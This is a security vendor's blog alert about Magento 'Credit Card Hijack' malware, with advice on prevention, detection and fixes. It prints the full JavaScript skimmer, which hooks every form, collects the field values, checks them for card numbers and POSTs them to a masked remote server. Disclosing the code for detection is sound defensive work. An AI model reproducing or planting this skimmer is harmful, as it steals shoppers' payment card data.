logo.png
Guided Website Threat Review

Foregenix Blog

Benjamin Hosack

Magento Malware: Credit Card Hijack – Malicious Javascript Alert

Our forensic team have just wrapped up a forensic investigation on an e-commerce business that has had a considerable number of customer data stolen – including credit card data. This latest Magento malware attack involved a malicious Javascript – recently announced by Magento on the 16th November 2015.

Magento malwareThe malicious code has been called “Credit Card Hijack” and it is injected into Magento websites allowing attackers to steal customer payment data – including all key credit card details required to carry out a transaction.

How does it work?

The malicious Magento malware is uploaded to a vulnerable site – the vulnerability in the case we just completed was Shoplift (see our alert on Magento Shoplift from February 2015); however, over the last year there have been a significant number of breaches involving multiple attack vectors (Filesman, P.A.S, Phantom, compromised plugins and more).

With the malicious Javascript uploaded to the Magento website, every form field on the website is monitored. When payment card data is detected, it is encrypted and sent out immediately to a receiving email address.

How do you prevent, detect and/or fix this issue?

Prevention
  • Patch your website – make sure you are using the latest version of Magento. This will make it considerably harder to compromise your website.
  • File Change Monitoring – make sure you know exactly what changes are being made to your website every day. If changes are not recognised, they could be a strong indicator of attacker activity.
  • Web Application Firewall – if you are not yet using a WAF on your website, we would highly recommend you implement one asap. Especially if you not able to apply patches in a timely manner. If correctly configured, it will also filter out the vast majority of aggressive traffic from ever touching your website. If you need help with this, we offer a managed WAF through our FGX-Web Protect service.
  • Malware detection – daily checks for malware on your website will alert you to files that look suspicious – such as webshells, backdoors, harvesting malware and so on. If you need help, our FGX-Web website security solution includes on demand and scheduled malware checking for all clients.
Detection

FGX-Web will very soon be able to detect the malicious javascript, however, this is an example of the code recently found: 

+function validateCreditCard(s) {

+   // remove non-numerics

+   var v = "0123456789";

+   var w = "";

+   for (i=0; i < s.length; i++) {

+       x = s.charAt(i);

+       if (v.indexOf(x,0) != -1)

+       w += x;

+   }

+   // validate number

+   j = w.length / 2;

+   k = Math.floor(j);

+   m = Math.ceil(j) - k;

+   c = 0;

+   for (i=0; i<k; i++) {

+       a = w.charAt(i*2+m) * 2;

+       c += a > 9 ? Math.floor(a/10 + a%10) : a;

+   }

+   for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;

+   return (c%10 == 0);

+}

+var snd =null;

+window.onload = function () {

+   if((new RegExp('onepage')).test(window.location)) {

+       send();

+

+   }

+};

+

+function clk() {

+   var inp=document.querySelectorAll("input, select, textarea, checkbox");

+   for (var i=0;i<inp.length;i++){

+       if(inp[i].value.length>0) {

+       var nme=inp[i].name;

+       if(nme=='') { nme=i; }

+       snd+=inp[i].name+'='+inp[i].value+'&';

+       }

+   }

+

+}

+

+function send() {

+ var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");

+   for (var i=0;i<btn.length;i++){

+       var b=btn[i];

+       if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {

+           if(b.addEventListener) {

+               b.addEventListener("click", clk, false);

+           }else {

+               b.attachEvent('onclick', clk);

+           }

+       }

+   }

+f+   var frm=document.querySelectorAll("form");

+   for (var i=0;i<frm.length;i++){

+       if(frm[i].addEventListener) {

+           frm[i].addEventListener("submit", clk, false);

+       }else {

+           frm[i].attachEvent('onsubmit', clk);

+       }

+   }

+

+   if(snd!=null) {

+       console.clear();

+       var cc = new RegExp("[0-9]{13,16}");

+              var asd="0";

+       if(cc.test(snd)){

+                 asd="1" ;

+         }

+var http = new XMLHttpRequest();

+http.open("POST","https://************/*******”,true);

+http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

+http.send("data="+snd+"&asd="+asd+"&id_id=merchant.co.uk");

+console.clear();

+   }

+   snd=null;

+   setTimeout('send()', 150);

+}

Fix
  • Implement a solution like FGX-Web to protect your website.
  • Scan your website using WebScan – this will tell you the patching state of your website.
  • Apply all the patches.Magento website security scan
  • Update passwords – implement 2 Factor Authentication if possible.
  • Remove any unknown accounts.
  • Scan for malware using FGX-Web – if you get alerts, call our support team for help.

Review our blog - 11 steps to Improve your Website Security for more comprehensive list of security controls and simple steps you can take to improve your security.

All Foregenix FGX-Web clients have full support provided by our team, so if you are concerned about your website security, please don’t hesitate to contact us. 

TRENDING POSTS

Kirsty Trainer
The "Key" to Secure Data - P2PE - Derived Unique Key Per Transaction (DUKPT)

Written by Andrew McKenna, PCI QSA, PCIP at Foregenix The encryption key infrastructure usually ...

Read More
Duncan Slater
Alert: Major UK Payment Service Provider iFrame Man-In-The-Middle Breach

The Foregenix Digital Forensics and Incident Response Team recently reported a man-in-the-middle ...

Read More

Cyber Security Insights

Jake Dennys
17/10/17 10:33

Foregenix Highly Commended at Fraud Awards 2017

Earlier this year we were shortlisted for a prestige award at Fraud Awards 2017, presented by Retail Risk. Judges had selected Foregenix as a ...

Read More

Jake Dennys
09/10/17 14:24

Why an SSL certificate won’t protect your website, but FGX-Web will.

Having an SSL (Secure Sockets Layer) certificate on your website is important and it's also a good thing to have. The little green padlock in the ...

Read More

Mike Hinton
04/10/17 10:55

Is My Hosting Provider Protecting My Website?

Recently, it was discovered that over 14 million Verizon customers data, including PIN’s, had been exposed on an unprotected web server.  Three ...

Read More

Jake Dennys
28/09/17 10:21

We're Showcasing Cybersecurity at Ecommerce Expo 2017!

Flyers printed, banners set up, scanners prepped, we are officially at Ecommerce Expo 2017! It’s our first year at the show and we’ve hit the road to ...

Read More

Paul Taylor
25/09/17 12:09

Responsible Disclosure of Zero-Day Vulnerabilities Discovered in NfSen and AlienVault OSSIM

Part 1 of 2 – Introduction and Background NfSen is an open source netflow data capture and analysis module which can be used as a standalone product, ...

Read More